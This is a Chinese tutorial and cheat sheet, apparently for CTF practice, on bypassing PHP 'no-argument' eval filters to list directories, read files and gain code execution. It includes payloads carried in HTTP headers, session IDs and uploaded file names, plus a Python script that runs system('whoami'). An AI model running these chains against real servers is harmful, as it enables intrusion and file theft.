PHP无参读取文件与RCE总结

PHP无参读取文件与RCE总结 PHP 无参数读文件与 RCE 总结0x01 核心原理什么是无参数即函数括号内只能嵌套其他函数不能出现字符串、数字或变量参数。核心正则限制if(;preg_replace(/[^\W]\((?R)?\)/,,$_GET[code])){eval($_GET[code]);}[^\W]匹配函数名字母、数字、下划线。(?R)?递归匹配整个模式允许无限嵌套。允许a(b(c()))禁止a(b)或a(b,c)解题核心思想要想读文件或执行命令必须找到返回值可控的无参函数将其作为内层函数的返回值传给外层。0x02 无参数任意文件读取读文件的前提是列目录列目录的核心是构造当前目录.或上级目录..。1. 如何构造.(当前目录)方法一localeconv()current()(最稳定)localeconv()返回包含本地数字及货币格式信息的数组其数组的第一个元素就是.。current()/pos()/reset()均可以获取数组的第一个单元。print_r(scandir(current(localeconv())));// pos(localeconv()) 也可方法二chr(46)构造法chr(46)即字符.。如何无参构造数字 46chr(time())chr()以 256 为周期time()不断递增必然存在time()%256 46的时刻。chr(current(localtime(time())))localtime()返回的数组第一个值是秒0-59最多等 60 秒必然出现 46。数学函数链 (phpversion())利用 PHP 版本号进行数学运算极度依赖 PHP 版本不实用了解即可chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))方法三随机哈希构造法 (看运气需多刷新)hebrevc(crypt(arg))生成的 hash 第一个字符有小概率是.用chr(ord())提取。print_r(scandir(chr(ord(hebrevc(crypt(time()))))));strrev(crypt(serialize(array())))生成的 hash 最后一个字符有概率是.用strrev()逆序后再用chr(ord())提取第一个字符。方法四直接绝对路径scandir(getcwd());// 获取当前工作目录scandir(realpath(.));// 结合上面的构造点2. 如何读取指定文件列出的目录是一个数组我们需要利用数组操作函数定位到目标文件。最后一个文件end(scandir(...))倒数第二个文件next(array_reverse(scandir(...)))随机/正数第三个文件array_rand(array_flip(scandir(...)))交换键值随机取键名读文件函数show_source()/highlight_file()(直接回显)、readfile()/file_get_contents()(回显在源码中)、readgzfile()(常用于绕过关键字过滤)。3. 如何构造..(上级目录)方法一dirname()print_r(scandir(dirname(getcwd())));// 查看上一级目录方法二利用数组特性scandir返回的数组前两个元素固定是.和..因此next()就是..。print_r(scandir(next(scandir(getcwd()))));// 查看上一级目录4. 读取上级目录文件直接读上级文件会报错默认在当前目录寻找必须先用chdir()切换工作目录// 切换到上级目录并随机读取文件show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));0x03 无参数命令执行 (RCE)既然函数不能带参数我们就把要执行的命令放在别处HTTP头、全局变量、Session等再用无参函数去取。1. 利用 HTTP 请求头核心函数getallheaders()/apache_request_headers()返回包含所有 HTTP 请求头的数组。⚠️ 环境注意此函数原本仅限 Apache 环境但PHP 7.3 的 FPM 模式也支持了该函数因此在高版本 Nginx 下也可用。PayloadGET ?codeeval(pos(getallheaders())); HTTP/1.1 Leon: phpinfo();(根据请求头排序不同可能需要用end()等函数定位到你控制的 Header 字段)2. 利用全局变量 (最通用)核心函数get_defined_vars()返回由所有已定义变量组成的数组结构通常为[0$_GET, 1$_POST, 2$_COOKIE, 3$_FILES, 4$_SERVER]。Payload (GET传参)GET ?leonphpinfo();codeeval(pos(pos(get_defined_vars()))); HTTP/1.1解析第一个pos()取到$_GET数组第二个pos()取到$_GET中的第一个键值phpinfo();。Payload (利用 FILES 传参)$_FILES通常在数组末尾需用end()定位。将 Payload 作为上传文件的文件名。importrequests files{system(whoami);:}rrequests.post(http://target/?codeeval(pos(pos(end(get_defined_vars()))));,filesfiles)print(r.text)3. 利用 Session核心函数session_id()session_start()session_id()可以获取/设置当前会话 ID。限制与绕过会话 ID 仅允许字符a-z A-Z 0-9 , -。无法直接传入括号等特殊字符。绕过方法传入十六进制字符串配合hex2bin()转换。PayloadGET ?codeeval(hex2bin(session_id(session_start()))); HTTP/1.1 Cookie: PHPSESSID706870696e666f28293b(注706870696e666f28293b是phpinfo();的十六进制编码)4. 利用环境变量核心函数getenv()在 PHP 7.1 可不传参返回所有环境变量。限制默认php.ini中variables_order GPCS不包含 Environment (E)导致获取不到自定义环境变量。需改为EGPCS才能利用因此实战利用条件较苛刻。0x04 核心函数速查表 (Cheatsheet)目的常用函数备注获取当前目录.current(localeconv())pos()/reset()同理获取上级目录..next(scandir(getcwd()))dirname(getcwd())数组第二个元素固定是..数组指针操作current()/pos()(首)end()(尾)next()(下一个)array_reverse()(逆序)组合使用定位目标文件随机数组取值array_rand(array_flip())盲读文件神器读文件show_source()/highlight_file()readfile()/file_get_contents()readgzfile()readgzfile可绕过部分过滤获取外部数据(RCE)getallheaders()(需Apache或PHP7.3)get_defined_vars()(通用)session_id(session_start())(需hex2bin)核心RCE手段